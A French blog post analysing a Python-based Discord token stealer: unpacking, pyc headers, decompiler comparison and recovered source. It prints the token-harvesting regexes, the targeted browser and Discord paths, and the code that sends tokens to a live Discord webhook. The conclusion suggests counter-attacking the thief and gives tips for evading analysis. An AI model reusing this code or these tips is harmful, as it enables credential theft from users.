Cyberpunk Viking Coding a Malware on a computer by midjourney Viking cyberpunk codant un malware par Midjourney. Caractère historique non contractuel…

Dans l'article précédent, l'exécutable suspect avait été décompressé et nous avions obtenu plusieurs centaines de fichiers compilés en échange. Il s'agit maintenant de trouver ce que fait vraiment le programme ; c.-à-d. de retrouver les sources telles qu'elles ont été écrites par le développeur avant leur compilation par l'interpréteur Python.

Sommaire

Analyse du bytecode

À cette étape, nous disposons des fichiers et dossier suivants :

  • PYZ-00.pyz_extracted/ : fichiers de la librairie standard (dans notre cas)
  • *.pyc : scripts Python précompilés par l'interpréteur (bytecode). Normalement utilisés pour rendre plus rapide les chargements ultérieurs d'un programme.

  • *.pyd : fichiers binaires compilés, du même format que les fichiers pyc mais destinés à être chargés en tant que librairies (DLL - bibliothèque de liens dynamiques). Ils sont spécifiques à la plateforme Windows et équivalents dans leur usage aux .so (shared object) de GNU/Linux et .dylib (dynamic library) de MacOS.

Comment identifier la version de Python utilisée pour créer les fichiers pyc ?

Ici c'était doublement facile, l'étude des strings de l'exécutable, sortait la dll python39.dll ; puis PyInstaller Extractor nous indiquait clairement la version utilisée. Ce dernier extrait cette information d'un cookie d'octets spécifique de PyInstaller.

En dehors de ce contexte bien précis il faut avoir en tête la structure du header d'un fichier pyc :

  • Une séquence de 4 octets (dont 2 réellement utilisés, suivis de 0x0d0a) appelés magic numbers qui identifie clairement la version utilisée.
    Des listes de magic numbers sont tenues à jour dans divers projets dont pycnite maintenu par Google : pycnite - Python magic numbers definitions.

    Mise en application :
# Extract the magic number of a pyc file
>>> import struct
>>> fd = open("Token.pyc", "rb")
>>> struct.unpack("<H", fd.read(2))[0]
3425

# Display the magic number of the current Python interpreter
>>> import imp
>>> int.from_bytes(imp.get_magic()[:2], byteorder="little")
3425
# Or with struct:
>>> struct.unpack("<H", imp.get_magic()[:2])
3425

# 3425 is the magic number of Python 3.9

PS : <H est une séquence définissant un type unsigned short (2 octets de longueur) en little-endian. Cf. struct doc.

  • 4 octets vides (?)

  • Un horodatage (timestamp) de modification de 4 octets. Il s'agit de la date de modification du fichier source qui a généré le .pyc, afin que ce dernier puisse être recompilé si la source change.

    Dans notre cas l'horodatage a été supprimé, mais voici ce que ça pourrait donner :

>>> import time, struct
# PS: pyc files are only generated for packages (not simple scripts)
>>> fd = open("__pycache__/test.cpython-39.pyc", "rb")
>>> magic_number = fd.read(4)
>>> moddate = fd.read(8)
>>> struct.unpack('<L', moddate[4:])
(1704388533,)
>>> time.asctime(time.localtime(struct.unpack('<L', moddate[4:])[0]))
'Thu Jan  4 18:15:33 2024'

Première analyse des fichiers pyc extraits

De la même façon qu'on a analysé l'exécutable au début, il est possible de faire une recherche de strings sur le fichier Token.pyc. Voici un court mais suffisant extrait :

Request
urlopenzyhttps://discord.com/api/webhooks/1112707740264038451/jX1JS_wG5IaXxIwgW-p9FhF9N5KF7gWUOOkMi9bA0wuS75EWLCLkwoOodkoD3ZF5jqc1Fc
qlq\qTq
\Local Storage\leveldbz
\discordptbz \Google\Chrome\User Data\Defaultz
\Opera Software\Opera Stablez.\BraveSoftware\Brave-Browser\User Data\Defaultz'\Yandex\YandexBrowser\User Data\Default)
WEBHOOK_URL

Le programme semble bricoler les profils des navigateurs ayant une base Chromium. Il se lie à un hook Discord (un moyen simple d'envoyer des messages automatisés à un salon de texte d'un serveur Discord ou en message privé à un utilisateur), probablement pour recevoir des ordres ou envoyer des identifiants volés.

À partir de là une recherche du type python "WEBHOOK_URL" token discord sur Google permet de tomber sur le projet utilisé : Discord Token Grabber.

L'analyse du code se fera plus tard, pour le moment on va poursuivre sur la décompilation. Il ne s'agit pas de faire durer le plaisir mais de simuler une situation où on n'aurait pas accès aux sources.

Décompilation du bytecode

La décompilation du bytecode n'est pas une mince affaire. D'une manière générale, les dernières versions 3.x sont mal supportées. Les toutes dernières versions de Python viennent avec une augmentation importante de la complexité de cette tâche.

Quelques outils existent mais ils ont tous leurs limitations et bugs. Ils sont par ailleurs développés gratuitement par peu de personnes. Il faut donc en essayer plusieurs pour avoir un résultat correct.

Voici une petite veille sur les outils disponibles :

  • Uncompyle6 : limitation à Python 3.8 compris. Voir la discussion à propos du support de Python 3.9 sur GitHub.
  • python-decompile3 : génère a priori un meilleur code pour 3.7 et 3.8.
  • unpyc37 : Blocs for a priori non gérés.
    • Good support for Python 3.7
    • Decent support for Python 3.8
    • Mostly complete support for Python 3.9
    • Minimal support for Python 3.10

Démonstration : $ python3 -m unpyc.unpyc3 nudesmarie.exe_extracted/Token.pyc :

[...]
def find_tokens(path):
    path += '\\Local Storage\\leveldb'
    tokens = []
    for file_name in os.listdir(path): # <= manque du code
    return tokens
[...]

Code attendu :

def find_tokens(path):
    path += '\\Local Storage\\leveldb'

    tokens = []
    for file_name in os.listdir(path):
        if not file_name.endswith('.log') and not file_name.endswith('.ldb'):
            continue

        for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
            for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
                for token in re.findall(regex, line):
                    tokens.append(token)
    return tokens
  • pycdc / Decompyle++ : décompilation partielle mais suffisante en 3.9 ; support basique de Python 3.12. blocs d'exceptions a priori non gérés.

Démonstration : $ for i in ../../*.pyc; do ./pycdc $i > $i.py; done

[...]
    payload = json.dumps({'content': message})
# WARNING: Decompyle incomplete

if __name__ == '__main__':
    main()

Code attendu :

payload = json.dumps({'content': message})

try:
    req = Request(WEBHOOK_URL, data=payload.encode(), headers=headers)
    urlopen(req)
except:
    pass

Presque comme Java (voir sur ce blog : Crack d'un programme en Java, Rétro-ingénierie d'une application Android et Crack et suppression des pubs d'une application Android), il est possible de récupérer le code écrit par le développeur (docstrings comprises). Decompyle++ produit un travail plus propre ici, et suffisant. Cependant son support des blocs try/except est absent… Chose qui peut être complétée avec unpyc37.

Analyse du code source

Quelles sont les données volées ?

paths = {
    'Discord': roaming + '\\Discord',
    'Discord Canary': roaming + '\\discordcanary',
    'Discord PTB': roaming + '\\discordptb',
    'Google Chrome': local + '\\Google\\Chrome\\User Data\\Default',
    'Opera': roaming + '\\Opera Software\\Opera Stable',
    'Brave': local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
    'Yandex': local + '\\Yandex\\YandexBrowser\\User Data\\Default'
}

Le malware s'avère être un stealer spécifique de Windows qui récupère des identifiants/cookies de connexion stockés dans les profils des navigateurs Chrome, Opera, Brave, Yandex et des diverses applications Discord. En bref, sont concernées toutes des applications de type Electron ayant une base Chromium. On pourrait aussi mentionner que Skype, Slack, Signal, Teams, WhatsApp sont dans le viseur de ce type d'exploitation.

Firefox est exclu. Curieusement Edge aussi, pourtant basé sur Chromium depuis janvier 2020 sur Windows 10. Le dépôt du projet datant d'avril 2020, cette nouveauté n'a pas été prise en charge.

On remarque que l'étouffement de toute concurrence par le monopole de Google sur les navigateurs offre une surface d'attaque attractive pour que de nombreux malwares s'y intéressent exclusivement.

La suite :

  • Les données sont filtrées et nettoyées puis concaténées dans un payload JSON.

  • Le payload est envoyé en MP à l'utilisateur sur Discord via un webhook.

  • L'url du webhook est clairement visible et permet d'obtenir facilement le pseudo de l'utilisateur malveillant.

Un mot sur les bases de données levelDB ciblées

Les bases de données de type levelDB sont utilisées par l'API IndexedDB, poussée par Google et alternative à l'API localStorage. Il s'agit d'une base de données NoSQL de type clé/valeur. Voir le format de fichiers levelDB et le code python habituellement utilisé le gérer. Firefox fait plutôt appel à SQLite pour ses données IndexedDB. Ces fichiers sont dans le dossier storage/persistent/ d'un profil.

Il est intéressant de noter que le script ne s'intéresse qu'aux fichiers .log et non .ldb de la bdd levelDB. En effet, le système fonctionne selon une rotation des données stockées. Les données sont tout d'abord écrites en clair dans un fichier .log. Il s'agit juste d'un append à ce fichier sans effacement des données obsolètes. Lorsque le .log atteint 4 Mo, un fichier .ldb (dit de niveau 0) est créé. Les données stockées sont les mêmes mais organisées différemment voire compressées. Lorsque 4 fichiers .ldb de niveau 0 sont créés, un fichier de niveau 1 est créé avec tri et déduplication des données selon leurs clés.

Les clés/valeurs sont stockées telles quelles dans les fichiers .log. Une simple recherche de pattern est donc très efficace bien que portant à la fois sur les dernières versions des données et sur quelques données obsolètes.

Le script semble peu regardant quant au traitement des données. Chaque bloc de données possède un header de 7 octets et un champ data de 32kB fixes. Le champ data est organisé selon un format précis spécifiant le statut du block (actif/effacé), plus les tailles de clé et valeur. Le minimum serait donc de découper le fichier par fragments de 32kB + 7 bytes et de supprimer les headers.

A priori une simple expression régulière suffit pourtant :

for regex in ('[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27}', 'mfa\\.[\\w-]{84}'):

PS : mfa = multifactor authentication. Tokens for accounts that have 2FA (aka MFA) enabled presumably start with that.

Le jeton 2FA du compte est donc aussi récupéré.

Conclusion & avis aux amateurs

Le programme malveillant est typiquement un projet pour script-kiddies, les pull-requests sont d'ailleurs globalement assez drôles.

En outre, l'url du webhook étant dévoilée, et les données attendues connues, il est aisé d'envoyer n'importe quoi au voleur de données afin de le prendre à son jeu. L'envoyer sur un profil discord créé pour l'occasion l'incitant à exécuter à son tour un code bien plus dangereux qui pourrait prendre le contrôle de sa machine et révéler son identité…

Gardons aussi en tête que d'ordinaire les exécutables produits avec PyInstaller ou Py2exe sont reconnus par les antivirus. Toutefois, de par le nombre de logiciels ciblés, la simple routine de récupération des identifiants peut s'avérer redoutable sur des machines non sécurisées.


Voici à présent quelques idées et pièges qui complexifieraient la tâche du reverse engineering.

Une obfuscation du code est toujours bien efficace car elle fait perdre du temps : renommage des variables, utilisation de binaires compilés avec Cython, etc.

D'une manière générale, faire appel à une version très récente de Python sera décisif pour enrayer la décompilation. Les outils disponibles ont du mal à suivre les évolutions du langage. Selon l'outil, certaines portions de code seront non révélées. Exécuter du code dans un gros bloc try/except, dans des boucles imbriquées, ou utiliser des instructions récentes comme le match/case de Python 3.10 peut être une astuce…

Pour atténuer les suspicions le code pourrait exporter une vraie image érotique. Après tout, les SFX (archives auto-extractibles) existent bel et bien avec WinRAR.

Plus vicieux maintenant : puisque un échantillon de la lib standard est embarquée dans le malware et que personne ne fera attention à ces nombreux fichiers à l'allure standard, il sera possible de les modifier et d'y cacher des fonctions malveillantes, tokens d'API, etc.

Une simple réécriture de fonctions comme print ou des fonctions magiques des objets de la lib standard peut être radicale (et toujours une bonne blague à faire à un collègue qui aura laissé sa machine sans surveillance pour aller prendre un café. Journée perdue garantie 😡).

Bref, ne lancez pas d'exécutables provenant de sources non sûres…

Sources